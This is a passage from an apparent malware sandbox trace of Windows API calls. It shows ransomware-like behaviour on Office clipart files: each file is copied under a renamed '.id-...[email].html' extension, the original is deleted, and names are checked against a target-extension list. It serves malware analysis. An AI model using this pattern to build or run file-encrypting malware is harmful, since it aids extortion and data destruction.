[0048.727] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0048.728] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.728] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.729] SetEndOfFile (hFile=0x1ec) returned 1 [0048.729] CloseHandle (hObject=0x1ec) returned 1 [0048.729] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.729] SetEndOfFile (hFile=0x218) returned 1 [0048.730] CloseHandle (hObject=0x218) returned 1 [0048.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0048.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.730] lstrlenW (lpString=".doc") returned 4 [0048.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.730] lstrlenW (lpString=".docx") returned 5 [0048.730] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.731] lstrlenW (lpString=".pdf") returned 4 [0048.731] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".xls") returned 4 [0048.731] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".xlsx") returned 5 [0048.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.731] lstrlenW (lpString=".ppt") returned 4 [0048.731] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.731] lstrlenW (lpString=".zip") returned 4 [0048.731] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".rar") returned 4 [0048.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.731] lstrlenW (lpString=".bz2") returned 4 [0048.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString=".7z") returned 3 [0048.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.731] lstrlenW (lpString=".dbf") returned 4 [0048.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.731] lstrlenW (lpString=".1cd") returned 4 [0048.731] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0048.731] lstrlenW (lpString=".jpg") returned 4 [0048.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.732] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=517) returned 1 [0048.732] CloseHandle (hObject=0x218) returned 1 [0048.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0048.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.732] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.732] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.732] GetLastError () returned 0x0 [0048.732] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x205, lpOverlapped=0x0) returned 1 [0048.733] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x210, lpOverlapped=0x0) returned 1 [0048.734] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.734] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.735] SetEndOfFile (hFile=0x1ec) returned 1 [0048.735] CloseHandle (hObject=0x1ec) returned 1 [0048.735] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.735] SetEndOfFile (hFile=0x218) returned 1 [0048.736] CloseHandle (hObject=0x218) returned 1 [0048.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.736] lstrlenW (lpString=".doc") returned 4 [0048.736] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.736] lstrlenW (lpString=".docx") returned 5 [0048.736] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.736] lstrlenW (lpString=".pdf") returned 4 [0048.736] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.736] lstrlenW (lpString=".xls") returned 4 [0048.736] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.736] lstrlenW (lpString=".xlsx") returned 5 [0048.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.737] lstrlenW (lpString=".ppt") returned 4 [0048.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.737] lstrlenW (lpString=".zip") returned 4 [0048.737] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".rar") returned 4 [0048.737] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".bz2") returned 4 [0048.737] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.737] lstrlenW (lpString=".7z") returned 3 [0048.737] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.737] lstrlenW (lpString=".dbf") returned 4 [0048.737] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.737] lstrlenW (lpString=".1cd") returned 4 [0048.737] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0048.737] lstrlenW (lpString=".jpg") returned 4 [0048.737] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.737] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=502) returned 1 [0048.737] CloseHandle (hObject=0x218) returned 1 [0048.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0048.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.738] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.738] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.738] GetLastError () returned 0x0 [0048.738] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0048.739] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x200, lpOverlapped=0x0) returned 1 [0048.740] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.740] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.740] SetEndOfFile (hFile=0x1ec) returned 1 [0048.740] CloseHandle (hObject=0x1ec) returned 1 [0048.740] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.740] SetEndOfFile (hFile=0x218) returned 1 [0048.741] CloseHandle (hObject=0x218) returned 1 [0048.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString=".doc") returned 4 [0048.742] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString=".docx") returned 5 [0048.742] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.742] lstrlenW (lpString=".pdf") returned 4 [0048.742] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".xls") returned 4 [0048.742] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".xlsx") returned 5 [0048.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.742] lstrlenW (lpString=".ppt") returned 4 [0048.742] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString=".zip") returned 4 [0048.742] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".rar") returned 4 [0048.742] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.742] lstrlenW (lpString=".bz2") returned 4 [0048.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString=".7z") returned 3 [0048.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString=".dbf") returned 4 [0048.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString=".1cd") returned 4 [0048.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0048.742] lstrlenW (lpString=".jpg") returned 4 [0048.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.743] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=12702) returned 1 [0048.743] CloseHandle (hObject=0x218) returned 1 [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.744] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.744] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.744] GetLastError () returned 0x0 [0048.744] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x319e, lpOverlapped=0x0) returned 1 [0048.747] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0048.748] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.748] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.748] SetEndOfFile (hFile=0x1ec) returned 1 [0048.748] CloseHandle (hObject=0x1ec) returned 1 [0048.748] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.748] SetEndOfFile (hFile=0x218) returned 1 [0048.749] CloseHandle (hObject=0x218) returned 1 [0048.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0048.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.749] lstrlenW (lpString=".doc") returned 4 [0048.749] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.750] lstrlenW (lpString=".docx") returned 5 [0048.750] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.750] lstrlenW (lpString=".pdf") returned 4 [0048.750] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.750] lstrlenW (lpString=".xls") returned 4 [0048.750] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.750] lstrlenW (lpString=".xlsx") returned 5 [0048.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.750] lstrlenW (lpString=".ppt") returned 4 [0048.750] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.750] lstrlenW (lpString=".zip") returned 4 [0048.750] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.750] lstrlenW (lpString=".rar") returned 4 [0048.750] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.750] lstrlenW (lpString=".bz2") returned 4 [0048.750] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.750] lstrlenW (lpString=".7z") returned 3 [0048.750] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.750] lstrlenW (lpString=".dbf") returned 4 [0048.750] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.750] lstrlenW (lpString=".1cd") returned 4 [0048.750] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0048.750] lstrlenW (lpString=".jpg") returned 4 [0048.750] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.751] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3484) returned 1 [0048.751] CloseHandle (hObject=0x218) returned 1 [0048.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0048.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.751] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.751] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.751] GetLastError () returned 0x0 [0048.751] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0048.910] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0048.911] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.911] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.911] SetEndOfFile (hFile=0x1ec) returned 1 [0048.911] CloseHandle (hObject=0x1ec) returned 1 [0048.911] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.911] SetEndOfFile (hFile=0x218) returned 1 [0048.912] CloseHandle (hObject=0x218) returned 1 [0048.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0048.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.912] lstrlenW (lpString=".doc") returned 4 [0048.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.912] lstrlenW (lpString=".docx") returned 5 [0048.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.912] lstrlenW (lpString=".pdf") returned 4 [0048.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.912] lstrlenW (lpString=".xls") returned 4 [0048.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.912] lstrlenW (lpString=".xlsx") returned 5 [0048.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.913] lstrlenW (lpString=".ppt") returned 4 [0048.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.913] lstrlenW (lpString=".zip") returned 4 [0048.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.913] lstrlenW (lpString=".rar") returned 4 [0048.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.913] lstrlenW (lpString=".bz2") returned 4 [0048.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.913] lstrlenW (lpString=".7z") returned 3 [0048.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.913] lstrlenW (lpString="C:\\Program Files\\Microsoft 